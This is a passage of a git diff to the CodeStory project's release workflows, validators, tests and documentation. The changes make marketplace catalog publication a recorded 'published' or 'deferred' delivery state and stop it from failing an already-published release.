5; done\n${step.run}`; + }, /must not retry a recorded delivery outcome/u], + ["post-publish closeout reintroduces the catalog gate through its condition", workflows => { + workflows.get(releaseFile).jobs["post-publish-closeout"].if + = "inputs.publish_release && needs.marketplace-publish.result == 'success'"; + }, /post-publish closeout must not gate on marketplace-publish succeeding/u], + + // --- The plugin fast lane, which tags and publishes the same catalog --- + ["plugin lane token failure fails its tagged release again", workflows => { + delete draftStep(pluginPublishJob(workflows), "Mint a scoped marketplace token")["continue-on-error"]; + }, /plugin-release\.yml marketplace token failure must not fail an already-published release/u], + ["plugin lane catalog push failure fails its tagged release again", workflows => { + delete draftStep(pluginPublishJob(workflows), "Point the catalog at the published release")["continue-on-error"]; + }, /plugin-release\.yml catalog push must run only with a minted token/u], + ["plugin lane stops recording its delivery outcome", workflows => { + const job = pluginPublishJob(workflows); + job.steps = job.steps.filter(({ name }) => name !== "Record catalog delivery outcome"); + }, /plugin-release\.yml must contain named step Record catalog delivery outcome/u], + ["plugin lane delivery outcome defaults to published", workflows => { + const step = draftStep(pluginPublishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace("catalog_published=false", "catalog_published=true"); + }, /plugin-release\.yml step Record catalog delivery outcome must run catalog_published=false/u], + ["plugin lane smoke waits for the catalog job to succeed", workflows => { + pluginSmokeJob(workflows).if = "needs.marketplace-publish.result == 'success'"; + }, /plugin-release\.yml post-publish smoke must require a successful publish without gating/u], + ["plugin lane smoke stops requiring a real published release", workflows => { + delete pluginSmokeJob(workflows).if; + }, /plugin-release\.yml post-publish smoke must require a successful publish without gating/u], + ["plugin lane hard-codes its catalog claim", workflows => { + draftStep(pluginSmokeJob(workflows), "Record catalog delivery state").env.CATALOG_PUBLISHED = "true"; + }, /plugin-release\.yml catalog delivery state must read the recorded publication handoff/u], + ["plugin lane collapses both delivery states onto one installer identity", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + "installer=codex_marketplace_deferred_fixture", + "installer=codex_marketplace_install", + ); + }, /plugin-release\.yml the published installer identity must be reachable only from the published branch/u], + ["plugin lane deferred branch accepts a live catalog revision", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace('if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then', "if false; then"); + }, /plugin-release\.yml step Record catalog delivery state must run if \[ -n "\$INPUT_MARKETPLACE_REVISION" \]/u], + ["plugin lane installs from a catalog the delivery state did not resolve", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path"); + step.run = step.run.replace( + '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', + "--marketplace-source TheGreenCedar/AgentPluginMarketplace", + ); + }, /plugin-release\.yml step Prove the public marketplace install path must run --marketplace-source/u], + ["plugin lane smoke installs the revision the job failed to publish", workflows => { + draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path") + .env.MARKETPLACE_REVISION = "${{ needs.marketplace-publish.outputs.marketplace_revision }}"; + }, /plugin-release\.yml post-publish smoke must install from the marketplace revision this release published/u], + ]; + + for (const [name, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, [], name); + assert.match(violations.join("\n"), expectedReason, name); + }); + } +}); diff --git a/.github/workflows/plugin-release.yml b/.github/workflows/plugin-release.yml index 406b7cdaf..c5b28fdd4 100644 --- a/.github/workflows/plugin-release.yml +++ b/.github/workflows/plugin-release.yml @@ -188,20 +188,24 @@ jobs: --title "CodeStory plugin ${{ inputs.version }}" \ --notes-file /tmp/plugin-release-notes.md - # The catalog is what a host installs from, so the plugin lane publishes it too. Without this the - # smoke below would resolve the previous release and fail after the tag is already irreversible. + # The catalog is what a host installs from, so the plugin lane publishes it too. It is DELIVERY, + # not a gate: the tag already exists when this job runs, so a failure here must leave the release + # standing with the catalog still serving the previous one -- never fail an irreversible release. + # The run says which of the two states it ended in, and the smoke below records that state. marketplace-publish: needs: [preflight, publish] runs-on: ubuntu-latest timeout-minutes: 10 environment: marketplace-publish outputs: - marketplace_revision: ${{ steps.publish.outputs.marketplace_revision }} + catalog_published: ${{ steps.delivery.outputs.catalog_published }} + marketplace_revision: ${{ steps.delivery.outputs.marketplace_revision }} steps: - uses: actions/checkout@v5 - name: Mint a scoped marketplace token id: token + continue-on-error: true uses: actions/create-github-app-token@67e27a7eb7db372a1c61a7f9bdab8699e9ee57f7 # v1.11.3 with: app-id: ${{ secrets.MARKETPLACE_APP_ID }} @@ -211,8 +215,11 @@ jobs: # Publication already happened, so a failure here leaves the catalog serving the previous # release rather than a release that does not exist. marketplace-sync.yml recovers it. + # One attempt only: a retry loop here would hide which failure the run actually hit. - name: Point the catalog at the published release id: publish + if: steps.token.outcome == 'success' + continue-on-error: true env: GH_TOKEN: ${{ steps.token.outputs.token }} run: | @@ -223,17 +230,99 @@ jobs: --version "${{ inputs.version }}" \ --github-output "$GITHUB_OUTPUT" + # The only place this lane's "catalog was updated" claim is ever minted. + - name: Record catalog delivery outcome + id: delivery + if: always() + env: + TOKEN_OUTCOME: ${{ steps.token.outcome }} + PUBLISH_OUTCOME: ${{ steps.publish.outcome }} + PUBLISHED_REVISION: ${{ steps.publish.outputs.marketplace_revision }} + RECOVERY_WORKFLOW: marketplace-sync.yml + run: | + set -euo pipefail + catalog_published=false + marketplace_revision="" + if [ "$TOKEN_OUTCOME" = "success" ] \ + && [ "$PUBLISH_OUTCOME" = "success" ] \ + && printf '%s' "$PUBLISHED_REVISION" | grep -Eq '^[0-9a-f]{40}$'; then + catalog_published=true + marketplace_revision="$PUBLISHED_REVISION" + fi + echo "catalog_published=$catalog_published" >> "$GITHUB_OUTPUT" + echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT" + if [ "$catalog_published" = "true" ]; then + echo "Catalog delivery: published at $marketplace_revision." >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + echo "::warning::Catalog publication deferred (token=$TOKEN_OUTCOME publish=$PUBLISH_OUTCOME). The release stands and the catalog still serves the previous release; recover with $RECOVERY_WORKFLOW." + echo "Catalog delivery: DEFERRED. The release is published; the catalog still serves the previous release. Recover with $RECOVERY_WORKFLOW." >> "$GITHUB_STEP_SUMMARY" + post-publish-smoke: + # Deliberately not gated on marketplace-publish: a deferred catalog must not suppress proof of + # the plugin that was actually published. The delivery state is carried in, not depended on. + if: always() && needs.preflight.result == 'success' && needs.publish.result == 'success' needs: [preflight, publish, marketplace-publish] runs-on: ubuntu-latest timeout-minutes: 30 steps: - uses: actions/checkout@v5 + # Same two states as the native lane, decided once from the recorded publication outcome. + # Published resolves the live catalog; deferred resolves a catalog pinned to this exact + # published commit, because the live one still names the previous release. Neither may be + # reached by accident: an inconsistent or unrecognized handoff stops the job. + - name: Record catalog delivery state + id: delivery + shell: bash + env: + CATALOG_PUBLISHED: ${{ needs.marketplace-publish.outputs.catalog_published == 'true' }} + INPUT_MARKETPLACE_REVISION: ${{ needs.marketplace-publish.outputs.marketplace_revision }} + run: | + set -euo pipefail + fixture_root="$RUNNER_TEMP/codestory-marketplace-delivery/fixture" + rm -rf "$fixture_root" + if [ "$CATALOG_PUBLISHED" = "true" ]; then + marketplace_source=TheGreenCedar/AgentPluginMarketplace + marketplace_revision="$INPUT_MARKETPLACE_REVISION" + local_fixture=false + installer=codex_marketplace_install + state=published + elif [ "$CATALOG_PUBLISHED" = "false" ]; then + if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then + echo "::error::Deferred catalog publication must not carry a live catalog revision." + exit 1 + fi + node .github/scripts/build-marketplace-fixture.mjs \ + --out "$fixture_root" \ + --source-repository "$GITHUB_WORKSPACE" \ + --commit "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" + marketplace_source="$fixture_root" + marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)" + local_fixture=true + installer=codex_marketplace_deferred_fixture + state=deferred + else + echo "::error::catalog_published must be true or false, not '$CATALOG_PUBLISHED'." + exit 1 + fi + test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 + { + echo "marketplace_source=$marketplace_source" + echo "marketplace_revision=$marketplace_revision" + echo "local_fixture=$local_fixture" + echo "installer=$installer" + echo "state=$state" + } >> "$GITHUB_OUTPUT" + if [ "$state" = "deferred" ]; then + echo "::warning::Catalog publication was deferred for this release. This smoke proves the published plugin against a candidate-pinned catalog fixture and records installer $installer; recover the public catalog with marketplace-sync.yml." + fi + echo "Catalog delivery state: $state (installer $installer, catalog revision $marketplace_revision)." >> "$GITHUB_STEP_SUMMARY" + - name: Prove the public marketplace install path env: CODEX_CLI_VERSION: "0.144.5" - MARKETPLACE_REVISION: ${{ needs.marketplace-publish.outputs.marketplace_revision }} + MARKETPLACE_REVISION: ${{ steps.delivery.outputs.marketplace_revision }} run: | set -euo pipefail install_root="$RUNNER_TEMP/codestory-marketplace-postpublish" @@ -248,9 +337,10 @@ jobs: --codex-package-root "$codex_package_root" \ --codex-home "$install_root/codex-home" \ --plugin-data "$install_root/codex-home/plugin-data" \ - --marketplace-source TheGreenCedar/AgentPluginMarketplace \ + --marketplace-source "${{ steps.delivery.outputs.marketplace_source }}" \ --marketplace-name TheGreenCedar \ --marketplace-revision "$MARKETPLACE_REVISION" \ + --local-fixture "${{ steps.delivery.outputs.local_fixture }}" \ --expected-version "${{ inputs.version }}" \ --source-repository "$GITHUB_WORKSPACE" \ --attestation "$install_root/install-attestation-v2.json" diff --git a/.github/workflows/post-publish-release-smoke.yml b/.github/workflows/post-publish-release-smoke.yml index 0667d89dd..9f0a6f43d 100644 --- a/.github/workflows/post-publish-release-smoke.yml +++ b/.github/workflows/post-publish-release-smoke.yml @@ -7,9 +7,14 @@ on: description: Release version to smoke, with or without a leading v. required: true type: string - marketplace_revision: - description: Immutable marketplace catalog revision proved before release. + catalog_published: + description: Whether marketplace-publish actually updated the public catalog for this release. required: true + type: boolean + marketplace_revision: + description: Immutable published catalog revision. Empty exactly when publication was deferred. + required: false + default: "" type: string pre_publish_closeout_artifact: description: Accepted pre-publish closeout artifact from this release run. @@ -27,9 +32,14 @@ on: description: Release version to smoke, with or without a leading v. required: true type: string - marketplace_revision: - description: Immutable marketplace catalog revision proved before release. + catalog_published: + description: Whether marketplace-publish actually updated the public catalog for this release. required: true + type: boolean + marketplace_revision: + description: Immutable published catalog revision. Empty exactly when publication was deferred. + required: false + default: "" type: string pre_publish_closeout_artifact: description: Accepted pre-publish closeout artifact from this release run. @@ -210,6 +220,61 @@ jobs: shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" run: "& scripts/install-codestory.ps1 -SelfTest" + # Catalog publication is delivery, not a gate, so this smoke must run in both states -- but it + # must never let the deferred state read as the published one. Each state gets its own catalog + # source AND its own installer identity, and the two are decided here, once, from the caller's + # explicit handoff. The handoff is checked both ways: published demands an immutable live + # revision, deferred demands the absence of one. + - name: Record catalog delivery state + id: delivery + shell: bash + env: + CATALOG_PUBLISHED: ${{ inputs.catalog_published }} + INPUT_MARKETPLACE_REVISION: ${{ inputs.marketplace_revision }} + run: | + set -euo pipefail + fixture_root="$RUNNER_TEMP/codestory-marketplace-delivery/fixture" + rm -rf "$fixture_root" + if [ "$CATALOG_PUBLISHED" = "true" ]; then + marketplace_source=TheGreenCedar/AgentPluginMarketplace + marketplace_revision="$INPUT_MARKETPLACE_REVISION" + local_fixture=false + installer=codex_marketplace_install + state=published + elif [ "$CATALOG_PUBLISHED" = "false" ]; then + # The public catalog still points at the previous release, so resolving against it would + # prove the PREVIOUS release. Pin a catalog to this exact published commit instead: same + # resolver, same pinned git-subdir source, only the catalog host differs. + if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then + echo "::error::Deferred catalog publication must not carry a live catalog revision." + exit 1 + fi + node .github/scripts/build-marketplace-fixture.mjs \ + --out "$fixture_root" \ + --source-repository "$GITHUB_WORKSPACE" \ + --commit "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" + marketplace_source="$fixture_root" + marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)" + local_fixture=true + installer=codex_marketplace_deferred_fixture + state=deferred + else + echo "::error::catalog_published must be true or false, not '$CATALOG_PUBLISHED'." + exit 1 + fi + test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 + { + echo "marketplace_source=$marketplace_source" + echo "marketplace_revision=$marketplace_revision" + echo "local_fixture=$local_fixture" + echo "installer=$installer" + echo "state=$state" + } >> "$GITHUB_OUTPUT" + if [ "$state" = "deferred" ]; then + echo "::warning::Catalog publication was deferred for this release. This smoke proves the published assets against a candidate-pinned catalog fixture and records installer $installer; recover the public catalog with marketplace-sync.yml." + fi + echo "Catalog delivery state: $state (installer $installer, catalog revision $marketplace_revision)." >> "$GITHUB_STEP_SUMMARY" + - name: Resolve the published plugin through the marketplace catalog id: installed shell: bash @@ -218,7 +283,7 @@ jobs: install_root="$RUNNER_TEMP/codestory-installed-proof" codex_package_root="$RUNNER_TEMP/codex-cli-${CODEX_CLI_VERSION}" isolated_home="$install_root/isolated-home" - marketplace_revision="${{ inputs.marketplace_revision }}" + marketplace_revision="${{ steps.delivery.outputs.marketplace_revision }}" test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 rm -rf "$install_root" mkdir -p "$isolated_home" @@ -231,9 +296,10 @@ jobs: --codex-package-root "$codex_package_root" \ --codex-home "$install_root/codex-home" \ --plugin-data "$install_root/codex-home/plugin-data" \ - --marketplace-source TheGreenCedar/AgentPluginMarketplace \ + --marketplace-source "${{ steps.delivery.outputs.marketplace_source }}" \ --marketplace-name TheGreenCedar \ --marketplace-revision "$marketplace_revision" \ + --local-fixture "${{ steps.delivery.outputs.local_fixture }}" \ --expected-version "${{ steps.release.outputs.version }}" \ --source-repository "$GITHUB_WORKSPACE" \ --attestation "$install_root/install-attestation-v2.json" \ @@ -275,8 +341,10 @@ jobs: ledger="$(find target/pre-publish-closeout -type f -name ledger.json -print)" test "$(printf '%s\n' "$ledger" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 mkdir -p target/release-cells + # The installer identity is whatever the delivery state resolved, never a literal: a + # deferred run must not be able to sign a cell that says the public catalog served it. jq -n \ - --arg installer codex_marketplace_install \ + --arg installer "${{ steps.delivery.outputs.installer }}" \ --arg native_engine coderank_q8_embedded \ '{installer: $installer, native_engine: $native_engine}' \ > target/release-cells/installed-identity.json diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index ee9e6f6c1..8bc4d4dec 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -531,6 +531,12 @@ jobs: --title "CodeStory $TAG" \ --notes-file target/release-assets/release-notes.md + # Catalog publication is DELIVERY, not a release gate. It runs after the tag and the GitHub + # release already exist, so failing the release on a missing credential or a rejected push would + # only turn a recoverable delivery gap into an unrecoverable one -- and the catalog keeps serving + # the previous release either way, so no user is ever offered a plugin that does not exist. + # The price is that the run must SAY which state it ended in: this job always reports one of two + # explicit outcomes, and post-publish-smoke records that outcome in the release ledger. marketplace-publish: name: Publish the marketplace catalog if: inputs.publish_release @@ -541,7 +547,8 @@ jobs: timeout-minutes: 10 environment: marketplace-publish outputs: - marketplace_revision: ${{ steps.publish.outputs.marketplace_revision }} + catalog_published: ${{ steps.delivery.outputs.catalog_published }} + marketplace_revision: ${{ steps.delivery.outputs.marketplace_revision }} steps: - name: Checkout exact release source uses: actions/checkout@v5 @@ -550,6 +557,7 @@ jobs: - name: Mint a scoped marketplace token id: token + continue-on-error: true uses: actions/create-github-app-token@67e27a7eb7db372a1c61a7f9bdab8699e9ee57f7 # v1.11.3 with: app-id: ${{ secrets.MARKETPLACE_APP_ID }} @@ -559,8 +567,11 @@ jobs: # Publication already happened, so a failure here leaves the catalog serving the previous # release rather than a release that does not exist. marketplace-sync.yml recovers it. + # One attempt only: a retry loop here would hide which failure the run actually hit. - name: Point the catalog at the published release id: publish + if: steps.token.outcome == 'success' + continue-on-error: true env: GH_TOKEN: ${{ steps.token.outputs.token }} run: | @@ -571,9 +582,41 @@ jobs: --version "${{ needs.preflight.outputs.version }}" \ --github-output "$GITHUB_OUTPUT" + # The only place the "catalog was updated" claim is ever minted. It requires the token, the + # push, AND an immutable revision to have all landed; anything else records deferred, so an + # unknown or half-finished state can never read as published. + - name: Record catalog delivery outcome + id: delivery + if: always() + env: + TOKEN_OUTCOME: ${{ steps.token.outcome }} + PUBLISH_OUTCOME: ${{ steps.publish.outcome }} + PUBLISHED_REVISION: ${{ steps.publish.outputs.marketplace_revision }} + RECOVERY_WORKFLOW: marketplace-sync.yml + run: | + set -euo pipefail + catalog_published=false + marketplace_revision="" + if [ "$TOKEN_OUTCOME" = "success" ] \ + && [ "$PUBLISH_OUTCOME" = "success" ] \ + && printf '%s' "$PUBLISHED_REVISION" | grep -Eq '^[0-9a-f]{40}$'; then + catalog_published=true + marketplace_revision="$PUBLISHED_REVISION" + fi + echo "catalog_published=$catalog_published" >> "$GITHUB_OUTPUT" + echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT" + if [ "$catalog_published" = "true" ]; then + echo "Catalog delivery: published at $marketplace_revision." >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + echo "::warning::Catalog publication deferred (token=$TOKEN_OUTCOME publish=$PUBLISH_OUTCOME). The release stands and the catalog still serves the previous release; recover with $RECOVERY_WORKFLOW." + echo "Catalog delivery: DEFERRED. The release is published; the catalog still serves the previous release. Recover with $RECOVERY_WORKFLOW." >> "$GITHUB_STEP_SUMMARY" + post-publish-smoke: name: Post-publish release asset smoke - if: inputs.publish_release + # Deliberately not gated on marketplace-publish: a deferred catalog must not suppress proof of + # the assets that were actually published. The delivery state is carried in, not depended on. + if: always() && inputs.publish_release && needs.preflight.result == 'success' && needs.publish.result == 'success' needs: - preflight - publish @@ -581,6 +624,7 @@ jobs: uses: ./.github/workflows/post-publish-release-smoke.yml with: version: ${{ needs.preflight.outputs.version }} + catalog_published: ${{ needs.marketplace-publish.outputs.catalog_published == 'true' }} marketplace_revision: ${{ needs.marketplace-publish.outputs.marketplace_revision }} pre_publish_closeout_artifact: release-closeout-pre-publish-${{ needs.preflight.outputs.version }}-${{ github.sha }} emit_release_cells: true diff --git a/AGENTS.md b/AGENTS.md index 8409af0bc..c7a97241c 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -240,12 +240,23 @@ adapter to compensate for incorrect upstream state. - Both release lanes own marketplace publication. The `marketplace-publish` job in `release.yml` and in `plugin-release.yml` points `TheGreenCedar/AgentPluginMarketplace` at the published commit after the - release exists, and post-publish smoke proves that catalog. Do not - hand-edit the catalog before a release; preflight proves the install path - against a candidate-pinned fixture and no longer requires the live catalog to - match an unreleased commit. If the catalog push fails, the release is still - complete and the catalog still serves the previous release: recover with the - `marketplace-sync` workflow rather than editing by hand. + release exists. Do not hand-edit the catalog before a release; preflight proves + the install path against a candidate-pinned fixture and no longer requires the + live catalog to match an unreleased commit. +- Catalog publication is delivery, not a release gate. It runs after an + irreversible tag, so a missing credential or a rejected push must not fail the + release; `release-claims.json` records that with + `workflow_policy.catalog_delivery.release_gate: false`. The job absorbs its own + failure and records one of two explicit states, and post-publish smoke runs + either way: `published` resolves the live catalog, `deferred` resolves a catalog + pinned to the released commit and stamps the distinct installer identity + `codex_marketplace_deferred_fixture` into the release ledger. A release may say + the catalog was updated only when the push actually landed; the honest outcome + otherwise is "released, catalog sync deferred". +- `marketplace-sync.yml` is the recovery path for a deferred catalog. Re-run it + with the published version and commit rather than editing the catalog by hand; + it is idempotent, so re-running it against an already-synced catalog succeeds + without pushing. - For a local plugin-source change Codex must observe outside a release, refresh the installed package and verify the managed runtime path/version plus project-scoped status. CodeStory repository state alone does not update an diff --git a/benchmarks/release-evidence/fixtures/candidate.json b/benchmarks/release-evidence/fixtures/candidate.json index 0629f2f21..1e014c9d2 100644 --- a/benchmarks/release-evidence/fixtures/candidate.json +++ b/benchmarks/release-evidence/fixtures/candidate.json @@ -62,7 +62,7 @@ }, "release_claims": { "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "requested_claims": [ @@ -85,7 +85,7 @@ "type": "performance", "tier": "live_behavior", "status": "measured", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -106,7 +106,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { diff --git a/benchmarks/release-evidence/fixtures/report.json b/benchmarks/release-evidence/fixtures/report.json index 70075d0c1..071d8db4c 100644 --- a/benchmarks/release-evidence/fixtures/report.json +++ b/benchmarks/release-evidence/fixtures/report.json @@ -7,7 +7,7 @@ "baseline_id": "ci-contract-v1@1111111111111111111111111111111111111111", "baseline_sha256": "0bbbe6dd8b4000151edf7b1270959d08e94e08db876e7f2372b25613e0f237c1", "candidate_path": "benchmarks/release-evidence/fixtures/candidate.json", - "candidate_sha256": "ba277f51c4079712fd75ef1ead662198645d70074bb6b717b1bca7336968a7f1", + "candidate_sha256": "12906c593326f3dd9ff51f95131ff2bbd90e7865b3859bf05ac8360150ce7d5b", "artifact_paths": [ { "path": "candidate-stats.json", @@ -26,7 +26,7 @@ "type": "performance", "tier": "live_behavior", "status": "pass", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -47,7 +47,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -69,7 +69,7 @@ "schema": "codestory.release-claim-evaluation/v1", "status": "pass", "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", "evidence_selection": "all_matching_rows_must_pass", "expected_commit": "2222222222222222222222222222222222222222", "evaluated_at": "2026-07-21T02:13:20.738Z", diff --git a/release-claims.json b/release-claims.json index ff62a4dd5..63aecf62b 100644 --- a/release-claims.json +++ b/release-claims.json @@ -1113,6 +1113,23 @@ ] } }, + "catalog_delivery": { + "publish_job": "marketplace-publish", + "recovery_workflow": "marketplace-sync.yml", + "release_gate": false, + "states": [ + { + "id": "published", + "installer": "codex_marketplace_install", + "live_catalog_revision": true + }, + { + "id": "deferred", + "installer": "codex_marketplace_deferred_fixture", + "live_catalog_revision": false + } + ] + }, "artifact_workflows": [ "source-proof.yml", "release-candidate-evidence.yml", diff --git a/scripts/codestory-release-claims.mjs b/scripts/codestory-release-claims.mjs index 4e15e1253..3fee6a529 100644 --- a/scripts/codestory-release-claims.mjs +++ b/scripts/codestory-release-claims.mjs @@ -227,6 +227,58 @@ function uniqueById(values, label) { return found; } +// Marketplace catalog publication is delivery, not a release gate: it happens after the tag and +// the GitHub release already exist, so failing the release on it would only convert a recoverable +// delivery gap into an unrecoverable one. The price of that is that the release must say which of +// the two states it is in, so the graph names both and pins a distinct installer identity to each. +// A run that could not publish records the deferred identity in its post-publish cells; nothing in +// the pipeline is allowed to record the published identity without the catalog push succeeding. +function validateCatalogDelivery(policy, dependencies) { + const delivery = object(policy.catalog_delivery, "workflow_policy.catalog_delivery"); + const publishJob = nonEmptyText(delivery.publish_job, "workflow_policy.catalog_delivery.publish_job"); + if (dependencies[publishJob] === undefined) { + fail(`workflow_policy.catalog_delivery.publish_job ${publishJob} must be a release chain job`); + } + nonEmptyText(delivery.recovery_workflow, "workflow_policy.catalog_delivery.recovery_workflow"); + if (delivery.release_gate !== false) { + fail("workflow_policy.catalog_delivery.release_gate must be false: catalog publication is delivery, not a release gate"); + } + if (!Array.isArray(delivery.states) || delivery.states.length !== 2) { + fail("workflow_policy.catalog_delivery.states must name exactly the published and deferred states"); + } + const installers = new Set(); + const byId = new Map(); + for (const [index, stateValue] of delivery.states.entries()) { + const state = object(stateValue, `workflow_policy.catalog_delivery.states[${index}]`); + const id = nonEmptyText(state.id, `workflow_policy.catalog_delivery.states[${index}].id`); + const installer = nonEmptyText( + state.installer, + `workflow_policy.catalog_delivery.states[${index}].installer`, + ); + if (!identityMatchesFormat(installer, "identifier")) { + fail(`workflow_policy.catalog_delivery.states[${index}].installer does not match identifier`); + } + if (typeof state.live_catalog_revision !== "boolean") { + fail(`workflow_policy.catalog_delivery.states[${index}].live_catalog_revision must be a boolean`); + } + if (installers.has(installer)) { + fail("workflow_policy.catalog_delivery states must record distinct installer identities"); + } + installers.add(installer); + byId.set(id, state); + } + for (const id of ["published", "deferred"]) { + if (!byId.has(id)) fail(`workflow_policy.catalog_delivery.states must declare the ${id} state`); + } + if (byId.get("published").live_catalog_revision !== true) { + fail("workflow_policy.catalog_delivery published state must consume the live catalog revision"); + } + if (byId.get("deferred").live_catalog_revision !== false) { + fail("workflow_policy.catalog_delivery deferred state must not consume a live catalog revision"); + } + return delivery; +} + function validatePublicSupport(graph, packageTargets, cellGroups) { const publicSupport = object( graph.public_support, @@ -764,6 +816,7 @@ export function validateReleaseClaimGraph(graph) { } } validatePluginChain(policy.plugin_chain); + validateCatalogDelivery(policy, dependencies); stringArray(policy.artifact_workflows, "workflow_policy.artifact_workflows", { nonEmpty: true }); const promotion = object(policy.promotion, "workflow_policy.promotion"); nonEmptyText(promotion.source_branch, "workflow_policy.promotion.source_branch"); diff --git a/scripts/tests/codestory-release-claims.test.mjs b/scripts/tests/codestory-release-claims.test.mjs index 9f135590a..fd237c99a 100644 --- a/scripts/tests/codestory-release-claims.test.mjs +++ b/scripts/tests/codestory-release-claims.test.mjs @@ -291,6 +291,78 @@ test("graph rejects ambiguous dependencies and unstructured proof lanes", () => } }); +// Catalog publication is delivery rather than a release gate, which is only honest if the run +// records which of the two states it ended in. The graph is where that vocabulary lives, so +// deleting it, reinstating the gate, or collapsing the two installer identities onto one -- which +// is exactly how a deferred run would come to read as a published one -- must be refusals here, +// not merely in the workflow policy that consumes them. +test("catalog delivery declares two distinguishable states and no release gate", () => { + const delivery = graph.workflow_policy.catalog_delivery; + assert.equal(delivery.release_gate, false); + assert.deepEqual(delivery.states.map(({ id }) => id).sort(), ["deferred", "published"]); + assert.equal(new Set(delivery.states.map(({ installer }) => installer)).size, 2); + + const missing = structuredClone(graph); + delete missing.workflow_policy.catalog_delivery; + assert.throws( + () => validateReleaseClaimGraph(missing), + /workflow_policy\.catalog_delivery must be an object/u, + ); + + const gated = structuredClone(graph); + gated.workflow_policy.catalog_delivery.release_gate = true; + assert.throws( + () => validateReleaseClaimGraph(gated), + /release_gate must be false: catalog publication is delivery, not a release gate/u, + ); + + const collapsed = structuredClone(graph); + const [first, second] = collapsed.workflow_policy.catalog_delivery.states; + second.installer = first.installer; + assert.throws( + () => validateReleaseClaimGraph(collapsed), + /must record distinct installer identities/u, + ); + + const renamed = structuredClone(graph); + renamed.workflow_policy.catalog_delivery.states + .find(({ id }) => id === "deferred").id = "unknown"; + assert.throws( + () => validateReleaseClaimGraph(renamed), + /must declare the deferred state/u, + ); + + const inverted = structuredClone(graph); + inverted.workflow_policy.catalog_delivery.states + .find(({ id }) => id === "deferred").live_catalog_revision = true; + assert.throws( + () => validateReleaseClaimGraph(inverted), + /deferred state must not consume a live catalog revision/u, + ); + + const unpublished = structuredClone(graph); + unpublished.workflow_policy.catalog_delivery.states + .find(({ id }) => id === "published").live_catalog_revision = false; + assert.throws( + () => validateReleaseClaimGraph(unpublished), + /published state must consume the live catalog revision/u, + ); + + const detached = structuredClone(graph); + detached.workflow_policy.catalog_delivery.publish_job = "no-such-job"; + assert.throws( + () => validateReleaseClaimGraph(detached), + /publish_job no-such-job must be a release chain job/u, + ); + + const unrecoverable = structuredClone(graph); + delete unrecoverable.workflow_policy.catalog_delivery.recovery_workflow; + assert.throws( + () => validateReleaseClaimGraph(unrecoverable), + /workflow_policy\.catalog_delivery\.recovery_workflow/u, + ); +}); + // check-workflow-policy.mjs asserts only that plugin-release.yml's `needs:` match this data, so a // chain that parses but orders nothing would let both gates pass while `gh release create` ran // detached from the release-authority checks and the plugin-proof matrix. Every mutation below diff --git a/scripts/tests/fixtures/release-claims/positive.json b/scripts/tests/fixtures/release-claims/positive.json index 08632e685..b3c97473e 100644 --- a/scripts/tests/fixtures/release-claims/positive.json +++ b/scripts/tests/fixtures/release-claims/positive.json @@ -17,7 +17,7 @@ "type": 